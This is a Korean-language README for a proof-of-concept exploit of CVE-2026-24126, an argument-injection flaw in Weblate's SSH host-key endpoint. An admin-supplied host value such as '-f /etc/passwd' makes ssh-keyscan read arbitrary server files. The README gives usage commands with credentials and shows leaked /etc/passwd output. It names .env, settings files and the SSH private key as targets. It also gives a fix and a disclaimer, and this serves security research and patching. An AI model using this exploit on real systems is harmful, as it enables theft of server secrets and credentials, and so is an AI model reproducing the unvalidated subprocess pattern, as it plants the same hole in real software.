
CVE-2026-24126에 대한 개념 증명 익스플로잇으로, SSH 호스트 인수 주입을 통해 Weblate에서 임의 파일 읽기를 가능하게 하며, 인증된 관리자가 서버 파일을 읽을 수 있게 합니다.
발견자: Alejandro Baño · 2026년 1월 승인: Weblate 5.16 릴리스 노트
Weblate의 SSH 호스트 키 관리 엔드포인트는 인증된 관리자가 제공한 host 매개변수를 검증이나 인자 검사 없이 ssh-keyscan에 직접 전달합니다. ssh-keyscan은 호스트 이름을 파일에서 읽어들이는 -f <file> 플래그를 허용하므로, 관리자 자격 증명을 가진 공격자는 해당 플래그를 호스트 값으로 주입하여 서버가 임의의 로컬 파일을 열도록 강제할 수 있습니다. 결과로 발생하는 오류 출력(또는 표준 출력)은 오류 메시지 블록 내부에 그대로 브라우저에 반영되어 파일 내용이 유출됩니다.
| 필드 | 값 |
|---|
| 대상 | Weblate (자체 호스팅 인스턴스) |
| 구성 요소 | SSH 키 관리 — weblate/ssh/views.py · add_host_key() |
| 필요 인증 | 예 — Weblate 관리자 계정 |
| 영향을 받는 버전 | 5.15.2 이하 모든 버전 (5.0.2 및 5.15.2에서 테스트됨) |
| 영향 | 웹 서버 프로세스 사용자(weblate, www-data 등) 권한으로 임의 로컬 파일 읽기 |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — 단순화된 코드
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host가 검증 없이 추가됨
result = subprocess.run(cmdline, ...)
host 값은 POST 본문의 host 필드에서 직접 가져오며, 허용 목록이 없고, 앞의 대시가 제거되지 않으며, 사용자 제공 값 앞에 -- 인자 종결자도 없습니다. 이를 통해 공격자는 임의의 ssh-keyscan 플래그를 주입할 수 있습니다.
ssh-keyscan -f /etc/passwd는 /etc/passwd를 호스트 이름 목록으로 읽고 각 줄을 확인하지 못해 모든 줄에 대해 오류 출력을 생성합니다. 이 오류 출력은 CalledProcessError 핸들러를 통해 전파되어 HTTP 응답의 alert-danger 블록에 표시됩니다.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| 플래그 | 설명 |
|---|---|
-r / --rhost | Weblate 인스턴스의 기본 URL |
-u / --username | 관리자 사용자 이름 |
-p / --password | 관리자 비밀번호 |
-f / --file | 서버에서 읽을 파일 경로 |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] 사용자 admin 로그인 성공
[*] http://localhost/manage/ssh/에 페이로드 전송 중, 시간이 걸릴 수 있으니 기다려 주세요...
[+] 추출된 파일 내용:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] 익스플로잇 완료
Weblate를 실행하는 OS 사용자(일반적으로 weblate 사용자)가 읽을 수 있는 모든 파일은 단일 인증된 POST 요청을 통해 유출될 수 있습니다. 민감한 대상은 다음과 같습니다:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaWeblate 5.16.0 이상으로 업데이트하세요. 이는 Weblate 팀이 2026년 2월 18일에 발표한 공식 수정 사항으로, SSH 호스트 필드에 대한 적절한 입력 검증을 도입했습니다.
이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 이 도구를 사용하지 마십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.